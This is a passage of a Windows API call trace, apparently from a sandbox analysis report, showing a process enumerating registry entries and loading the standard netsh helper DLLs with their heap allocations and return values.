_Destination="C:\\WINDOWS\\system32\\MFC42LOC.DLL") returned 0x0 [0157.900] LoadLibraryExA (lpLibFileName="C:\\WINDOWS\\system32\\MFC42LOC.DLL", hFile=0x0, dwFlags=0x2) returned 0x0 [0157.927] GetProcAddress (hModule=0x7ffe7f600000, lpProcName="InitHelperDll") returned 0x7ffe7f615850 [0157.927] InitHelperDll () returned 0x0 [0157.929] RegisterHelper () returned 0x0 [0157.929] GetProcessHeap () returned 0x1fe23430000 [0157.929] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x160) returned 0x1fe2344ac80 [0157.929] GetProcessHeap () returned 0x1fe23430000 [0157.929] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe234342e0) returned 1 [0157.929] RegisterHelper () returned 0x0 [0157.929] GetProcessHeap () returned 0x1fe23430000 [0157.929] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x1b8) returned 0x1fe2344ced0 [0157.929] GetProcessHeap () returned 0x1fe23430000 [0157.929] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2344ac80) returned 1 [0157.931] RegisterHelper () returned 0x0 [0157.931] GetProcessHeap () returned 0x1fe23430000 [0157.931] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x210) returned 0x1fe2344ac80 [0157.931] GetProcessHeap () returned 0x1fe23430000 [0157.931] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2344ced0) returned 1 [0157.931] RegisterHelper () returned 0x0 [0157.931] GetProcessHeap () returned 0x1fe23430000 [0157.931] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x268) returned 0x1fe2344ced0 [0157.931] GetProcessHeap () returned 0x1fe23430000 [0157.931] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2344ac80) returned 1 [0157.931] RegisterHelper () returned 0x0 [0157.931] GetProcessHeap () returned 0x1fe23430000 [0157.931] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x2c0) returned 0x1fe234552a0 [0157.931] GetProcessHeap () returned 0x1fe23430000 [0157.931] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2344ced0) returned 1 [0157.931] RegEnumValueW (in: hKey=0xb4, dwIndex=0x2, lpValueName=0x1fe23440fa0, lpcchValueName=0x828a4f78d0, lpReserved=0x0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928 | out: lpValueName="authfwcfg", lpcchValueName=0x828a4f78d0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928) returned 0x0 [0157.931] _wcsicmp (_String1="authfwcfg.dll", _String2="ipxmontr.dll") returned -8 [0157.932] _wcsicmp (_String1="authfwcfg.dll", _String2="ipxpromn.dll") returned -8 [0157.932] GetProcessHeap () returned 0x1fe23430000 [0157.932] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0xa0) returned 0x1fe234357b0 [0157.932] GetProcessHeap () returned 0x1fe23430000 [0157.932] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x14) returned 0x1fe23440d80 [0157.932] GetProcessHeap () returned 0x1fe23430000 [0157.932] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x1c) returned 0x1fe234498a0 [0157.932] _wcsupr (in: _String="authfwcfg.dll" | out: _String="AUTHFWCFG.DLL") returned="AUTHFWCFG.DLL" [0157.932] GetProcessHeap () returned 0x1fe23430000 [0157.932] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23435510) returned 1 [0157.932] LoadLibraryExW (lpLibFileName="AUTHFWCFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffe7d550000 [0157.997] GetProcAddress (hModule=0x7ffe7d550000, lpProcName="InitHelperDll") returned 0x7ffe7d551430 [0157.997] InitHelperDll () returned 0x0 [0158.001] RegisterHelper () returned 0x0 [0158.001] GetProcessHeap () returned 0x1fe23430000 [0158.001] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x318) returned 0x1fe2344ced0 [0158.001] GetProcessHeap () returned 0x1fe23430000 [0158.001] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe234552a0) returned 1 [0158.001] RegisterHelper () returned 0x0 [0158.001] GetProcessHeap () returned 0x1fe23430000 [0158.001] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x370) returned 0x1fe23455d80 [0158.001] GetProcessHeap () returned 0x1fe23430000 [0158.001] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2344ced0) returned 1 [0158.001] RegisterHelper () returned 0x0 [0158.001] GetProcessHeap () returned 0x1fe23430000 [0158.002] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x3c8) returned 0x1fe2344ced0 [0158.002] GetProcessHeap () returned 0x1fe23430000 [0158.002] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23455d80) returned 1 [0158.002] RegisterHelper () returned 0x0 [0158.002] GetProcessHeap () returned 0x1fe23430000 [0158.002] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x420) returned 0x1fe23455d80 [0158.002] GetProcessHeap () returned 0x1fe23430000 [0158.002] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2344ced0) returned 1 [0158.002] RegisterHelper () returned 0x0 [0158.002] GetProcessHeap () returned 0x1fe23430000 [0158.002] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x478) returned 0x1fe2344ced0 [0158.002] GetProcessHeap () returned 0x1fe23430000 [0158.002] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23455d80) returned 1 [0158.002] RegEnumValueW (in: hKey=0xb4, dwIndex=0x3, lpValueName=0x1fe23440fa0, lpcchValueName=0x828a4f78d0, lpReserved=0x0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928 | out: lpValueName="dhcpclient", lpcchValueName=0x828a4f78d0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928) returned 0x0 [0158.002] _wcsicmp (_String1="dhcpcmonitor.dll", _String2="ipxmontr.dll") returned -5 [0158.002] _wcsicmp (_String1="dhcpcmonitor.dll", _String2="ipxpromn.dll") returned -5 [0158.002] GetProcessHeap () returned 0x1fe23430000 [0158.002] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0xc8) returned 0x1fe234485f0 [0158.002] GetProcessHeap () returned 0x1fe23430000 [0158.002] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x16) returned 0x1fe23455c60 [0158.002] GetProcessHeap () returned 0x1fe23430000 [0158.002] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x22) returned 0x1fe23449660 [0158.002] _wcsupr (in: _String="dhcpcmonitor.dll" | out: _String="DHCPCMONITOR.DLL") returned="DHCPCMONITOR.DLL" [0158.002] GetProcessHeap () returned 0x1fe23430000 [0158.002] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe234357b0) returned 1 [0158.002] LoadLibraryExW (lpLibFileName="DHCPCMONITOR.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffe7f5f0000 [0158.040] GetProcAddress (hModule=0x7ffe7f5f0000, lpProcName="InitHelperDll") returned 0x7ffe7f5f1610 [0158.040] InitHelperDll () returned 0x0 [0158.040] RegisterHelper () returned 0x0 [0158.040] GetProcessHeap () returned 0x1fe23430000 [0158.040] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x4d0) returned 0x1fe23456590 [0158.040] GetProcessHeap () returned 0x1fe23430000 [0158.040] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2344ced0) returned 1 [0158.040] RegEnumValueW (in: hKey=0xb4, dwIndex=0x4, lpValueName=0x1fe23440fa0, lpcchValueName=0x828a4f78d0, lpReserved=0x0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928 | out: lpValueName="dot3cfg", lpcchValueName=0x828a4f78d0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928) returned 0x0 [0158.040] _wcsicmp (_String1="dot3cfg.dll", _String2="ipxmontr.dll") returned -5 [0158.040] _wcsicmp (_String1="dot3cfg.dll", _String2="ipxpromn.dll") returned -5 [0158.040] GetProcessHeap () returned 0x1fe23430000 [0158.040] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0xf0) returned 0x1fe234342e0 [0158.040] GetProcessHeap () returned 0x1fe23430000 [0158.040] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23455760 [0158.040] GetProcessHeap () returned 0x1fe23430000 [0158.040] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x18) returned 0x1fe23455660 [0158.040] _wcsupr (in: _String="dot3cfg.dll" | out: _String="DOT3CFG.DLL") returned="DOT3CFG.DLL" [0158.040] GetProcessHeap () returned 0x1fe23430000 [0158.040] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe234485f0) returned 1 [0158.040] LoadLibraryExW (lpLibFileName="DOT3CFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffe7e070000 [0158.251] GetProcAddress (hModule=0x7ffe7e070000, lpProcName="InitHelperDll") returned 0x7ffe7e071100 [0158.251] InitHelperDll () returned 0x0 [0158.251] RegisterHelper () returned 0x0 [0158.251] GetProcessHeap () returned 0x1fe23430000 [0158.251] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x528) returned 0x1fe23457280 [0158.251] GetProcessHeap () returned 0x1fe23430000 [0158.251] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23456590) returned 1 [0158.251] RegEnumValueW (in: hKey=0xb4, dwIndex=0x5, lpValueName=0x1fe23440fa0, lpcchValueName=0x828a4f78d0, lpReserved=0x0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928 | out: lpValueName="fwcfg", lpcchValueName=0x828a4f78d0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928) returned 0x0 [0158.251] _wcsicmp (_String1="fwcfg.dll", _String2="ipxmontr.dll") returned -3 [0158.251] _wcsicmp (_String1="fwcfg.dll", _String2="ipxpromn.dll") returned -3 [0158.251] GetProcessHeap () returned 0x1fe23430000 [0158.251] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x118) returned 0x1fe2344ac80 [0158.251] GetProcessHeap () returned 0x1fe23430000 [0158.251] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0xc) returned 0x1fe234555e0 [0158.251] GetProcessHeap () returned 0x1fe23430000 [0158.251] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x14) returned 0x1fe23455820 [0158.251] _wcsupr (in: _String="fwcfg.dll" | out: _String="FWCFG.DLL") returned="FWCFG.DLL" [0158.251] GetProcessHeap () returned 0x1fe23430000 [0158.251] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe234342e0) returned 1 [0158.251] LoadLibraryExW (lpLibFileName="FWCFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffe7dda0000 [0158.598] GetProcAddress (hModule=0x7ffe7dda0000, lpProcName="InitHelperDll") returned 0x7ffe7dda11f0 [0158.598] InitHelperDll () returned 0x0 [0158.598] RegisterHelper () returned 0x0 [0158.598] GetProcessHeap () returned 0x1fe23430000 [0158.598] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x580) returned 0x1fe234577b0 [0158.598] GetProcessHeap () returned 0x1fe23430000 [0158.598] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23457280) returned 1 [0158.598] RegEnumValueW (in: hKey=0xb4, dwIndex=0x6, lpValueName=0x1fe23440fa0, lpcchValueName=0x828a4f78d0, lpReserved=0x0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928 | out: lpValueName="hnetmon", lpcchValueName=0x828a4f78d0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928) returned 0x0 [0158.598] _wcsicmp (_String1="hnetmon.dll", _String2="ipxmontr.dll") returned -1 [0158.598] _wcsicmp (_String1="hnetmon.dll", _String2="ipxpromn.dll") returned -1 [0158.598] GetProcessHeap () returned 0x1fe23430000 [0158.598] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x140) returned 0x1fe23455320 [0158.598] GetProcessHeap () returned 0x1fe23430000 [0158.598] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23455a00 [0158.598] GetProcessHeap () returned 0x1fe23430000 [0158.598] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x18) returned 0x1fe23455640 [0158.598] _wcsupr (in: _String="hnetmon.dll" | out: _String="HNETMON.DLL") returned="HNETMON.DLL" [0158.598] GetProcessHeap () returned 0x1fe23430000 [0158.598] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2344ac80) returned 1 [0158.598] LoadLibraryExW (lpLibFileName="HNETMON.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffe7e020000 [0159.460] GetProcAddress (hModule=0x7ffe7e020000, lpProcName="InitHelperDll") returned 0x7ffe7e022060 [0159.460] InitHelperDll () returned 0x0 [0159.460] RegisterHelper () returned 0x0 [0159.460] GetProcessHeap () returned 0x1fe23430000 [0159.460] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x5d8) returned 0x1fe2345f880 [0159.460] GetProcessHeap () returned 0x1fe23430000 [0159.460] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe234577b0) returned 1 [0159.460] RegEnumValueW (in: hKey=0xb4, dwIndex=0x7, lpValueName=0x1fe23440fa0, lpcchValueName=0x828a4f78d0, lpReserved=0x0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928 | out: lpValueName="netiohlp", lpcchValueName=0x828a4f78d0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928) returned 0x0 [0159.460] _wcsicmp (_String1="netiohlp.dll", _String2="ipxmontr.dll") returned 5 [0159.461] _wcsicmp (_String1="netiohlp.dll", _String2="ipxpromn.dll") returned 5 [0159.461] GetProcessHeap () returned 0x1fe23430000 [0159.461] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x168) returned 0x1fe2344ac80 [0159.461] GetProcessHeap () returned 0x1fe23430000 [0159.461] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x12) returned 0x1fe23455920 [0159.461] GetProcessHeap () returned 0x1fe23430000 [0159.461] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x1a) returned 0x1fe23455f80 [0159.461] _wcsupr (in: _String="netiohlp.dll" | out: _String="NETIOHLP.DLL") returned="NETIOHLP.DLL" [0159.461] GetProcessHeap () returned 0x1fe23430000 [0159.461] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23455320) returned 1 [0159.461] LoadLibraryExW (lpLibFileName="NETIOHLP.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffe7d480000 [0160.090] GetProcAddress (hModule=0x7ffe7d480000, lpProcName="InitHelperDll") returned 0x7ffe7d495f80 [0160.090] InitHelperDll () returned 0x0 [0160.090] RegisterHelper () returned 0x0 [0160.090] GetProcessHeap () returned 0x1fe23430000 [0160.090] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x630) returned 0x1fe234577b0 [0160.091] GetProcessHeap () returned 0x1fe23430000 [0160.091] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2345f880) returned 1 [0160.091] RegisterHelper () returned 0x0 [0160.091] GetProcessHeap () returned 0x1fe23430000 [0160.091] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x688) returned 0x1fe23461680 [0160.091] GetProcessHeap () returned 0x1fe23430000 [0160.091] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe234577b0) returned 1 [0160.091] RegisterHelper () returned 0x0 [0160.091] GetProcessHeap () returned 0x1fe23430000 [0160.091] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x6e0) returned 0x1fe234577b0 [0160.091] GetProcessHeap () returned 0x1fe23430000 [0160.091] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23461680) returned 1 [0160.091] RegisterHelper () returned 0x0 [0160.091] GetProcessHeap () returned 0x1fe23430000 [0160.091] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x738) returned 0x1fe23461680 [0160.091] GetProcessHeap () returned 0x1fe23430000 [0160.091] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe234577b0) returned 1 [0160.092] RegisterHelper () returned 0x0 [0160.092] GetProcessHeap () returned 0x1fe23430000 [0160.092] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x790) returned 0x1fe234577b0 [0160.092] GetProcessHeap () returned 0x1fe23430000 [0160.092] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23461680) returned 1 [0160.092] RegisterHelper () returned 0x0 [0160.092] GetProcessHeap () returned 0x1fe23430000 [0160.092] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x7e8) returned 0x1fe23461680 [0160.092] GetProcessHeap () returned 0x1fe23430000 [0160.092] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe234577b0) returned 1 [0160.092] RegisterHelper () returned 0x0 [0160.092] GetProcessHeap () returned 0x1fe23430000 [0160.092] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x840) returned 0x1fe23461e70 [0160.092] GetProcessHeap () returned 0x1fe23430000 [0160.092] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23461680) returned 1 [0160.092] RegisterHelper () returned 0x0 [0160.092] GetProcessHeap () returned 0x1fe23430000 [0160.092] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x898) returned 0x1fe234626c0 [0160.092] GetProcessHeap () returned 0x1fe23430000 [0160.092] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23461e70) returned 1 [0160.092] RegisterHelper () returned 0x0 [0160.092] GetProcessHeap () returned 0x1fe23430000 [0160.092] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x8f0) returned 0x1fe23461680 [0160.092] GetProcessHeap () returned 0x1fe23430000 [0160.092] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe234626c0) returned 1 [0160.092] RegEnumValueW (in: hKey=0xb4, dwIndex=0x8, lpValueName=0x1fe23440fa0, lpcchValueName=0x828a4f78d0, lpReserved=0x0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928 | out: lpValueName="nettrace", lpcchValueName=0x828a4f78d0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928) returned 0x0 [0160.093] _wcsicmp (_String1="nettrace.dll", _String2="ipxmontr.dll") returned 5 [0160.093] _wcsicmp (_String1="nettrace.dll", _String2="ipxpromn.dll") returned 5 [0160.093] GetProcessHeap () returned 0x1fe23430000 [0160.093] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x190) returned 0x1fe23455320 [0160.093] GetProcessHeap () returned 0x1fe23430000 [0160.093] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x12) returned 0x1fe23455a20 [0160.093] GetProcessHeap () returned 0x1fe23430000 [0160.093] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x1a) returned 0x1fe234602d0 [0160.093] _wcsupr (in: _String="nettrace.dll" | out: _String="NETTRACE.DLL") returned="NETTRACE.DLL" [0160.093] GetProcessHeap () returned 0x1fe23430000 [0160.093] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2344ac80) returned 1 [0160.093] LoadLibraryExW (lpLibFileName="NETTRACE.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffe7d350000 [0162.458] GetProcAddress (hModule=0x7ffe7d350000, lpProcName="InitHelperDll") returned 0x7ffe7d3515d0 [0162.458] InitHelperDll () returned 0x0 [0162.458] RegisterHelper () returned 0x0 [0162.458] GetProcessHeap () returned 0x1fe23430000 [0162.458] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x948) returned 0x1fe23475fe0 [0162.458] GetProcessHeap () returned 0x1fe23430000 [0162.458] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23461680) returned 1 [0162.458] RegEnumValueW (in: hKey=0xb4, dwIndex=0x9, lpValueName=0x1fe23440fa0, lpcchValueName=0x828a4f78d0, lpReserved=0x0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928 | out: lpValueName="nshhttp", lpcchValueName=0x828a4f78d0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928) returned 0x0 [0162.458] _wcsicmp (_String1="nshhttp.dll", _String2="ipxmontr.dll") returned 5 [0162.458] _wcsicmp (_String1="nshhttp.dll", _String2="ipxpromn.dll") returned 5 [0162.458] GetProcessHeap () returned 0x1fe23430000 [0162.458] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x1b8) returned 0x1fe2345f880 [0162.458] GetProcessHeap () returned 0x1fe23430000 [0162.458] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23463080 [0162.459] GetProcessHeap () returned 0x1fe23430000 [0162.459] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x18) returned 0x1fe23463000 [0162.459] _wcsupr (in: _String="nshhttp.dll" | out: _String="NSHHTTP.DLL") returned="NSHHTTP.DLL" [0162.459] GetProcessHeap () returned 0x1fe23430000 [0162.459] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23455320) returned 1 [0162.459] LoadLibraryExW (lpLibFileName="NSHHTTP.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffe7db40000 [0163.751] GetProcAddress (hModule=0x7ffe7db40000, lpProcName="InitHelperDll") returned 0x7ffe7db410e0 [0163.751] InitHelperDll () returned 0x0 [0163.751] RegisterHelper () returned 0x0 [0163.751] GetProcessHeap () returned 0x1fe23430000 [0163.751] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x9a0) returned 0x1fe23476930 [0163.751] GetProcessHeap () returned 0x1fe23430000 [0163.751] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23475fe0) returned 1 [0163.751] RegEnumValueW (in: hKey=0xb4, dwIndex=0xa, lpValueName=0x1fe23440fa0, lpcchValueName=0x828a4f78d0, lpReserved=0x0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928 | out: lpValueName="nshipsec", lpcchValueName=0x828a4f78d0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928) returned 0x0 [0163.751] _wcsicmp (_String1="nshipsec.dll", _String2="ipxmontr.dll") returned 5 [0163.751] _wcsicmp (_String1="nshipsec.dll", _String2="ipxpromn.dll") returned 5 [0163.751] GetProcessHeap () returned 0x1fe23430000 [0163.752] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x1e0) returned 0x1fe23455320 [0163.752] GetProcessHeap () returned 0x1fe23430000 [0163.752] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x12) returned 0x1fe234635c0 [0163.752] GetProcessHeap () returned 0x1fe23430000 [0163.752] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x1a) returned 0x1fe23464860 [0163.752] _wcsupr (in: _String="nshipsec.dll" | out: _String="NSHIPSEC.DLL") returned="NSHIPSEC.DLL" [0163.752] GetProcessHeap () returned 0x1fe23430000 [0163.752] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2345f880) returned 1 [0163.752] LoadLibraryExW (lpLibFileName="NSHIPSEC.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffe74000000 [0166.810] GetProcAddress (hModule=0x7ffe74000000, lpProcName="InitHelperDll") returned 0x7ffe74001250 [0166.810] InitHelperDll () returned 0x0 [0166.810] RegisterHelper () returned 0x0 [0166.810] GetProcessHeap () returned 0x1fe23430000 [0166.810] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x9f8) returned 0x1fe2347a300 [0166.810] GetProcessHeap () returned 0x1fe23430000 [0166.810] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23476930) returned 1 [0166.810] RegisterHelper () returned 0x0 [0166.810] GetProcessHeap () returned 0x1fe23430000 [0166.810] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0xa50) returned 0x1fe23475fe0 [0166.810] GetProcessHeap () returned 0x1fe23430000 [0166.810] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2347a300) returned 1 [0166.810] RegisterHelper () returned 0x0 [0166.810] GetProcessHeap () returned 0x1fe23430000 [0166.810] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0xaa8) returned 0x1fe2347a300 [0166.810] GetProcessHeap () returned 0x1fe23430000 [0166.810] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23475fe0) returned 1 [0166.879] RegEnumValueW (in: hKey=0xb4, dwIndex=0xb, lpValueName=0x1fe23440fa0, lpcchValueName=0x828a4f78d0, lpReserved=0x0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928 | out: lpValueName="nshwfp", lpcchValueName=0x828a4f78d0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928) returned 0x0 [0166.880] _wcsicmp (_String1="nshwfp.dll", _String2="ipxmontr.dll") returned 5 [0166.880] _wcsicmp (_String1="nshwfp.dll", _String2="ipxpromn.dll") returned 5 [0166.880] GetProcessHeap () returned 0x1fe23430000 [0166.880] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x208) returned 0x1fe23461680 [0166.880] GetProcessHeap () returned 0x1fe23430000 [0166.880] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0xe) returned 0x1fe234634c0 [0166.880] GetProcessHeap () returned 0x1fe23430000 [0166.880] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x16) returned 0x1fe23463560 [0166.880] _wcsupr (in: _String="nshwfp.dll" | out: _String="NSHWFP.DLL") returned="NSHWFP.DLL" [0166.880] GetProcessHeap () returned 0x1fe23430000 [0166.880] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23455320) returned 1 [0166.880] LoadLibraryExW (lpLibFileName="NSHWFP.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffe70c30000 [0168.646] GetProcAddress (hModule=0x7ffe70c30000, lpProcName="InitHelperDll") returned 0x7ffe70c310d0 [0168.646] InitHelperDll () returned 0x0 [0168.671] RegisterHelper () returned 0x0 [0168.671] GetProcessHeap () returned 0x1fe23430000 [0168.671] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0xb00) returned 0x1fe2347b5c0 [0168.671] GetProcessHeap () returned 0x1fe23430000 [0168.671] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2347a300) returned 1 [0168.671] RegEnumValueW (in: hKey=0xb4, dwIndex=0xc, lpValueName=0x1fe23440fa0, lpcchValueName=0x828a4f78d0, lpReserved=0x0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928 | out: lpValueName="p2pnetsh", lpcchValueName=0x828a4f78d0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928) returned 0x0 [0168.671] _wcsicmp (_String1="p2pnetsh.dll", _String2="ipxmontr.dll") returned 7 [0168.671] _wcsicmp (_String1="p2pnetsh.dll", _String2="ipxpromn.dll") returned 7 [0168.671] GetProcessHeap () returned 0x1fe23430000 [0168.671] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x230) returned 0x1fe23455320 [0168.671] GetProcessHeap () returned 0x1fe23430000 [0168.671] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x12) returned 0x1fe23463580 [0168.671] GetProcessHeap () returned 0x1fe23430000 [0168.671] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x1a) returned 